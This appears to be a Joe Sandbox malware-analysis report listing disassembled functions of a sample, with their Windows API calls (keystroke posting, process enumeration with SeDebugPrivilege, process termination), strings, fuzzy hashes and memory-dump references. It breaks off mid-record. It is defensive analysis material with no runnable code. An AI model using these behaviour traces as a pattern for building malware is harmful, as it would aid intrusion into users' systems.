API String ID: 634782764-0
Opcode ID: e2337c81b3a5720f7f927cc1cd03d6eb7f2bc9db7255c4291a913a7148220aaf
Instruction ID: d06a6cf608ef99c6ad46778bb55d1bd1e2d7225b73a6f204d46fa0ae1302a8c9
Opcode Fuzzy Hash: e2337c81b3a5720f7f927cc1cd03d6eb7f2bc9db7255c4291a913a7148220aaf
Instruction Fuzzy Hash: F1519030500244BEEB209B29CC89FAD7BA7FB09716F604116FD51F7AA1CF71A988CB51

Function 005D2B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0060C2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0060C319
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0060C331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0060C34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0060C370
DestroyIcon.USER32(00000000), ref: 0060C37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0060C39C
DestroyIcon.USER32(?), ref: 0060C3AB

Part of subcall function 0065A4AF: DeleteObject.GDI32(00000000), ref: 0065A4E8

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 37b21f2073d827eb7bd64f4600f234478b657fa51554c4c8f0e036c0be54a3fe
Instruction ID: bbca3955d1917919b89a63d7547ecfb3722f7c5cc4020d5509f06752cca66566
Opcode Fuzzy Hash: 37b21f2073d827eb7bd64f4600f234478b657fa51554c4c8f0e036c0be54a3fe
Instruction Fuzzy Hash: A6515C70A50205AFDB24DF68CC45FAA7BA6FB58321F10462AF912D77E0D7B0AD90DB50

Function 0062966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 0062A84C
Part of subcall function 0062A82C: GetCurrentThreadId.KERNEL32 ref: 0062A853
Part of subcall function 0062A82C: AttachThreadInput.USER32(00000000,?,00629683,?,00000001), ref: 0062A85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 0062968E
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 006296AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 006296AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 006296B7
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 006296D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 006296D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 006296E1
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 006296F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 006296FB

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: f3e30cb182ecb22c1aa7c4248221c844fdf6c9398d0129c47177f53947b1924d
Instruction ID: 71067a461693237a576ba1b995e1fb315582ac14bebcba728c4f04526fdde3bf
Opcode Fuzzy Hash: f3e30cb182ecb22c1aa7c4248221c844fdf6c9398d0129c47177f53947b1924d
Instruction Fuzzy Hash: B811A571950A18BFF710AF60DC49F6A7B5EDB4C751F111429F344AB0A0C9F25C51DAA8

Function 00628921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C), ref: 0062892A
HeapAlloc.KERNEL32(00000000), ref: 00628931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 00628946
GetCurrentProcess.KERNEL32(?,00000000), ref: 0062894E
DuplicateHandle.KERNEL32(00000000), ref: 00628951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002), ref: 00628961
GetCurrentProcess.KERNEL32(?,00000000), ref: 00628969
DuplicateHandle.KERNEL32(00000000), ref: 0062896C
CreateThread.KERNEL32(00000000,00000000,00628992,00000000,00000000,00000000), ref: 00628986

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: efefc9f1531bb5c810189e5200bb7c4c47a47ed4186a493734931e7b674f14f8
Instruction ID: 8a3c0d93ac7aabb08963a82c0f83ea699b2086590708c6c4fd4fd08e4628bfcc
Opcode Fuzzy Hash: efefc9f1531bb5c810189e5200bb7c4c47a47ed4186a493734931e7b674f14f8
Instruction Fuzzy Hash: E401BBB5640708FFE720EBA5DC4DF6B3BADEB89711F419421FA05DB1A1CA709800CB21

Function 00649B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00649B7B
NULL Pointer assignment, xrefs: 00649BA4, 00649EC8

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: b6ae176b076f7bc57c0c4c7bf3c12f431f70fe33601667b9570e0b1e7c3445ac
Instruction ID: 667b9d97bc693a83ca184c891ea5d81526307abe7c6df44196386699c1842567
Opcode Fuzzy Hash: b6ae176b076f7bc57c0c4c7bf3c12f431f70fe33601667b9570e0b1e7c3445ac
Instruction Fuzzy Hash: 35C17171A4021A9BDF14DFA8D884AEFB7F6FF48314F148469E905AB381E7709D45CBA0

Function 0064975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 0062710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00627044,80070057,?,?,?,00627455), ref: 00627127
Part of subcall function 0062710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00627044,80070057,?,?), ref: 00627142
Part of subcall function 0062710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00627044,80070057,?,?), ref: 00627150
Part of subcall function 0062710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00627044,80070057,?), ref: 00627160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00649806
_memset.LIBCMT ref: 00649813
_memset.LIBCMT ref: 00649956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00649982
CoTaskMemFree.OLE32(?), ref: 0064998D

Strings

NULL Pointer assignment, xrefs: 006499DB

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 66cd5b5bb6277fb523b4feb0c8f8007ee9c784fd4b709394fb277468dea62b75
Instruction ID: 2e059ecc7234c1c55c40bc65dead1e65b4c805eb59bdfcd3b3c0d9e40e6f7076
Opcode Fuzzy Hash: 66cd5b5bb6277fb523b4feb0c8f8007ee9c784fd4b709394fb277468dea62b75
Instruction Fuzzy Hash: DB913871D00229EBDB20DFA4DC45EDEBBBABF49310F10415AF419A7291EB719A44CFA0

Function 00656D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00656E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 00656E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00656E52
_wcscat.LIBCMT ref: 00656EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 00656EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00656EF2

Strings

SysListView32, xrefs: 00656DF6

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 91175b0239ec1683a7da0c356119fe3a125b0a2444312b52c5e27aa8dad2d83f
Instruction ID: eeca7aa9fbd3e78709557746bccf4bb717402e5ada7cdda1e029a3c135e1b8fe
Opcode Fuzzy Hash: 91175b0239ec1683a7da0c356119fe3a125b0a2444312b52c5e27aa8dad2d83f
Instruction Fuzzy Hash: D941A470A00349ABDB21DFA4CC85BEE77FAEF08351F50052AF945E7291D6719D88CB60

Function 0064E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00633C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00633C7A
Part of subcall function 00633C55: Process32FirstW.KERNEL32(00000000,?), ref: 00633C88
Part of subcall function 00633C55: CloseHandle.KERNEL32(00000000), ref: 00633D52

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0064E9A4
GetLastError.KERNEL32 ref: 0064E9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0064E9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 0064EA63
GetLastError.KERNEL32(00000000), ref: 0064EA6E
CloseHandle.KERNEL32(00000000), ref: 0064EAA3

Strings

SeDebugPrivilege, xrefs: 0064E9C2

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: d6fb689231cc965118451542c6f6be5f3abd0e89e3c12083a118dd3c64e700ca
Instruction ID: 298c4ccc8f467772cb7bb6b7a2ea4180b952ba7b6756905c908d7b38059d1e4e
Opcode Fuzzy Hash: d6fb689231cc965118451542c6f6be5f3abd0e89e3c12083a118dd3c64e700ca
Instruction Fuzzy Hash: E541AD312002019FDB24EF14DC99FADBBA6BF80714F04845DF9429B3D2CB75A844CB95

Function 00632F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00633033

Strings

info, xrefs: 00632FD4
warning, xrefs: 0063301C
question, xrefs: 00632FEC
stop, xrefs: 00633004
blank, xrefs: 00632FB5

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 59c7cf8f5126bfca3212f9876fe0697f0a3d49216c09e21324a65229e8d08f24
Instruction ID: 569a9ceb411dd7fd13ac8a4665a9a054c6e49ff3496a46be364a529cd243f116
Opcode Fuzzy Hash: 59c7cf8f5126bfca3212f9876fe0697f0a3d49216c09e21324a65229e8d08f24
Instruction Fuzzy Hash: C911D53168C35BBEE718AA54DC82CBB6B9D9F15360F20002AFA00A6382DB655F4157E5

Function 006342F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00634312
LoadStringW.USER32(00000000), ref: 00634319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0063432F
LoadStringW.USER32(00000000), ref: 00634336
_wprintf.LIBCMT ref: 0063435C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0063437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00634357

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: d9dc5fb2c1de618679b32b81d5f22a39e1d1d715785f64f7212bf6d8265ec5a4
Instruction ID: f5e5533d04c624fc6caccdf120241ea083d159d298e7e219b8fbc1405166cfd9
Opcode Fuzzy Hash: d9dc5fb2c1de618679b32b81d5f22a39e1d1d715785f64f7212bf6d8265ec5a4
Instruction Fuzzy Hash: 41014FF2900308BFE711EBA0DD89EEB776DEB08301F4005A1BB45E2151EA745E854B70

Function 0065D43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005D2612: GetWindowLongW.USER32(?,000000EB), ref: 005D2623

GetSystemMetrics.USER32(0000000F), ref: 0065D47C
GetSystemMetrics.USER32(0000000F), ref: 0065D49C
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0065D6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0065D6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0065D716
ShowWindow.USER32(00000003,00000000), ref: 0065D735
InvalidateRect.USER32(?,00000000,00000001), ref: 0065D75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 0065D77D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: f7c264e41d2f5234f8232f99c239930602cfdeeac2a670a92e0dfd3ac997ad59
Instruction ID: bc36b03adb4eaf03630ab0eb8f996493b6d21dbc8b5b4fae878367347c5d80b5
Opcode Fuzzy Hash: f7c264e41d2f5234f8232f99c239930602cfdeeac2a670a92e0dfd3ac997ad59
Instruction Fuzzy Hash: B2B16A75600225EBDF24CF68C9857ED7BB2FF08712F088169EC489F295E734A959CB90

Function 005D2A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0060C1C7,00000004,00000000,00000000,00000000), ref: 005D2ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0060C1C7,00000004,00000000,00000000,00000000,000000FF), ref: 005D2B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0060C1C7,00000004,00000000,00000000,00000000), ref: 0060C21A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0060C1C7,00000004,00000000,00000000,00000000), ref: 0060C286

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 9b32027a858f0408e8a1da2269fe57b90c9bd22736784bd335deba934d54014c
Instruction ID: 3e54c4c6a038c28f2d800501e333b59dcbee7bbacc192b15d25cbd9fed1f5994
Opcode Fuzzy Hash: 9b32027a858f0408e8a1da2269fe57b90c9bd22736784bd335deba934d54014c
Instruction Fuzzy Hash: 7D4118307087809ADB399B2C9C9CB6B7F97FBA5310F58891FE04786BA1C6B19981D710

Function 006370C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 006370DD

Part of subcall function 005F0DB6: std::exception::exception.LIBCMT ref: 005F0DEC
Part of subcall function 005F0DB6: __CxxThrowException@8.LIBCMT ref: 005F0E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00637114
EnterCriticalSection.KERNEL32(?), ref: 00637130
_memmove.LIBCMT ref: 0063717E
_memmove.LIBCMT ref: 0063719B
LeaveCriticalSection.KERNEL32(?), ref: 006371AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 006371BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 006371DE

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 8959352f4d2f1b16ffcd521660a6497faae196af5e78203320f26b5f04ea41d7
Instruction ID: bd0ca76b2a18d72e3569ff886fda3b915d0d1be1ac0fbd075476d92e92148c37
Opcode Fuzzy Hash: 8959352f4d2f1b16ffcd521660a6497faae196af5e78203320f26b5f04ea41d7
Instruction Fuzzy Hash: 80315076900205EBCF10DFA4DC899AABB79FF45711F1841A5FA049B256DB349A10CBA0

Function 006561D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 006561EB
GetDC.USER32(00000000), ref: 006561F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 006561FE
ReleaseDC.USER32(00000000,00000000), ref: 0065620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00656246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00656257
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0065902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00656291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 006562B1

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 8a09fc3f9f3655a998db91f9dc0a1f6f4edba3552a40c62d99c3b09d10e91d41
Instruction ID: 76b9d3c7325efb7dda0329271576ea521585d9dba245c8eab4792090d4a5cc84
Opcode Fuzzy Hash: 8a09fc3f9f3655a998db91f9dc0a1f6f4edba3552a40c62d99c3b09d10e91d41
Instruction Fuzzy Hash: 3D317F72101210BFEB118F50CC8AFEB3BAAEF49766F044065FE089A291C6759C41CB74

Function 0062BBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0062BBC4
_memcmp.LIBCMT ref: 0062BBE6
_memcmp.LIBCMT ref: 0062BBFE
_memcmp.LIBCMT ref: 0062BC11
_memcmp.LIBCMT ref: 0062BC2B
_memcmp.LIBCMT ref: 0062BC3E
_memcmp.LIBCMT ref: 0062BC56
_memcmp.LIBCMT ref: 0062BC71

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: dea182d468f729d438af529e46d9f7d08ceaa03062817bc860d39efa255e3e3b
Instruction ID: 3ef7ec3e9149dc1fc0e3cfb959cb85cf352f73aeb23187cf7c6245b5d47b77d3
Opcode Fuzzy Hash: dea182d468f729d438af529e46d9f7d08ceaa03062817bc860d39efa255e3e3b
Instruction Fuzzy Hash: 3C21D661701E2B77E6046611BD56FFB775FEE90358B045020FE0456683EF14DE1189A5

Function 0063EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

Part of subcall function 005EFC86: _wcscpy.LIBCMT ref: 005EFCA9

_wcstok.LIBCMT ref: 0063EC94
_wcscpy.LIBCMT ref: 0063ED23
_memset.LIBCMT ref: 0063ED56

Strings

X, xrefs: 0063ED93

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: b73eb0004d7cb1661f280650df3482c51a95e92b772862b81077426e5c29572d
Instruction ID: 06377f2a22f4721e58a31c202a519f9f644822fc3ad82e901b89b9caeaa5fe12
